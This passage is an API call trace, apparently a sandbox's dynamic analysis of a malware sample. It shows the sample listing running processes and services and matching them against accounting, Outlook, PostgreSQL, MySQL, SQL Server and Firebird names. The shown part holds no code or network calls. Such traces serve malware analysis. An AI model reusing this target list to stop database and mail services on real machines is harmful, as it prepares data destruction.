th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0241.901] lstrlenW (lpString="lsm.exe") returned 7 [0241.901] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0241.901] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0241.901] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0241.901] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0241.901] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0241.902] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0241.902] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0241.902] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.903] lstrlenW (lpString="svchost.exe") returned 11 [0241.903] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0241.904] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0241.904] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0241.904] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0241.904] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0241.904] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0241.904] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.905] lstrlenW (lpString="svchost.exe") returned 11 [0241.905] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.906] lstrlenW (lpString="svchost.exe") returned 11 [0241.906] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.907] lstrlenW (lpString="svchost.exe") returned 11 [0241.907] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.908] lstrlenW (lpString="svchost.exe") returned 11 [0241.908] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.909] lstrlenW (lpString="audiodg.exe") returned 11 [0241.909] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.910] lstrlenW (lpString="svchost.exe") returned 11 [0241.910] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0241.911] lstrlenW (lpString="explorer.exe") returned 12 [0241.911] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.912] lstrlenW (lpString="dwm.exe") returned 7 [0241.912] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.913] lstrlenW (lpString="svchost.exe") returned 11 [0241.914] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0241.915] lstrlenW (lpString="driver.exe") returned 10 [0241.915] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.916] lstrlenW (lpString="spoolsv.exe") returned 11 [0241.916] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0241.917] lstrlenW (lpString="taskhost.exe") returned 12 [0241.917] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.919] lstrlenW (lpString="svchost.exe") returned 11 [0241.919] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0241.920] lstrlenW (lpString="reader_sl.exe") returned 13 [0241.920] Process32NextW (in: hSnapshot=0x15c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0241.921] CloseHandle (hObject=0x15c) returned 1 [0241.921] Sleep (dwMilliseconds=0x1f4) [0242.581] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c31a8 [0243.029] EnumServicesStatusExW (in: hSCManager=0x41c31a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0243.030] GetLastError () returned 0xea [0243.030] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe90) returned 0x41d0998 [0243.031] EnumServicesStatusExW (in: hSCManager=0x41c31a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xe90, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0243.032] CloseServiceHandle (hSCObject=0x41c31a8) returned 1 [0243.033] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0243.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0243.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0243.033] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0243.033] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0243.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0243.033] lstrlenW (lpString="AudioSrv") returned 8 [0243.033] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0243.033] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0243.033] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0243.033] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0243.033] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0243.034] lstrlenW (lpString="BFE") returned 3 [0243.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0243.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0243.034] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0243.034] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0243.034] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0243.034] lstrlenW (lpString="CryptSvc") returned 8 [0243.034] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0243.034] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0243.034] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0243.035] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0243.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0243.035] lstrlenW (lpString="CscService") returned 10 [0243.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0243.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0243.035] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0243.035] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0243.035] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0243.035] lstrlenW (lpString="DcomLaunch") returned 10 [0243.035] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0243.035] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0243.035] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0243.036] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0243.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0243.036] lstrlenW (lpString="Dhcp") returned 4 [0243.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0243.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0243.036] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0243.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0243.036] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0243.036] lstrlenW (lpString="Dnscache") returned 8 [0243.036] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0243.036] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0243.036] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0243.036] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0243.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0243.037] lstrlenW (lpString="DPS") returned 3 [0243.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0243.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0243.037] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0243.037] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0243.037] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0243.037] lstrlenW (lpString="eventlog") returned 8 [0243.037] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0243.037] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0243.037] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0243.037] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0243.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0243.038] lstrlenW (lpString="EventSystem") returned 11 [0243.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0243.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0243.038] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0243.038] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0243.038] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0243.038] lstrlenW (lpString="gpsvc") returned 5 [0243.038] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0243.038] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0243.038] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0243.038] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0243.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0243.039] lstrlenW (lpString="iphlpsvc") returned 8 [0243.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0243.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0243.039] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0243.039] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0243.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0243.039] lstrlenW (lpString="LanmanServer") returned 12 [0243.039] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0243.039] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0243.039] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0243.039] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0243.039] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0243.040] lstrlenW (lpString="LanmanWorkstation") returned 17 [0243.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0243.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0243.040] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0243.040] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0243.040] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0243.040] lstrlenW (lpString="lmhosts") returned 7 [0243.040] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0243.040] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0243.040] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0243.041] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0243.041] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0243.041] lstrlenW (lpString="MMCSS") returned 5 [0243.041] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0243.041] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0243.041] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0243.042] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0243.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0243.042] lstrlenW (lpString="MpsSvc") returned 6 [0243.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0243.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0243.042] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0243.042] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0243.042] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0243.042] lstrlenW (lpString="NlaSvc") returned 6 [0243.042] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0243.042] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0243.042] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0243.043] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0243.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0243.043] lstrlenW (lpString="nsi") returned 3 [0243.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0243.043] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0243.043] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0243.043] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0243.043] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0243.043] lstrlenW (lpString="PcaSvc") returned 6 [0243.043] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0243.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0243.044] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0243.044] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0243.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0243.044] lstrlenW (lpString="PlugPlay") returned 8 [0243.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0243.044] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0243.044] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0243.044] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0243.044] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0243.044] lstrlenW (lpString="Power") returned 5 [0243.044] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0243.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0243.045] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0243.045] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0243.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0243.045] lstrlenW (lpString="ProfSvc") returned 7 [0243.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0243.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0243.045] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0243.045] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0243.045] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0243.045] lstrlenW (lpString="RpcEptMapper") returned 12 [0243.045] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0243.045] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0243.046] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0243.046] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0243.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0243.046] lstrlenW (lpString="RpcSs") returned 5 [0243.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0243.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0243.046] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0243.046] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0243.046] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0243.046] lstrlenW (lpString="SamSs") returned 5 [0243.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0243.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0243.046] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0243.046] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0243.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0243.047] lstrlenW (lpString="Schedule") returned 8 [0243.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0243.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0243.047] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0243.047] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0243.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0243.047] lstrlenW (lpString="SENS") returned 4 [0243.047] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0243.047] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0243.047] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0243.047] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0243.047] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0243.048] lstrlenW (lpString="ShellHWDetection") returned 16 [0243.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0243.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0243.048] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0243.048] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0243.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0243.048] lstrlenW (lpString="Spooler") returned 7 [0243.048] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0243.048] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0243.048] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0243.048] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0243.048] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0243.048] lstrlenW (lpString="SysMain") returned 7 [0243.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0243.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0243.049] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0243.049] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0243.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0243.049] lstrlenW (lpString="Themes") returned 6 [0243.049] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0243.049] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0243.049] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0243.049] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0243.049] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0243.049] lstrlenW (lpString="TrkWks") returned 6 [0243.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0243.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0243.050] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0243.050] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0243.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0243.050] lstrlenW (lpString="UxSms") returned 5 [0243.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0243.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0243.050] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0243.050] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0243.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0243.050] lstrlenW (lpString="Winmgmt") returned 7 [0243.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0243.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0243.051] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0243.051] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0243.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0243.051] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0243.051] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0243.055] Process32FirstW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.057] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.058] lstrlenW (lpString="System") returned 6 [0243.058] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0243.058] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0243.058] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0243.058] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0243.058] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0243.058] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0243.058] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0243.058] Process32NextW (in: hSnapshot=0x338, 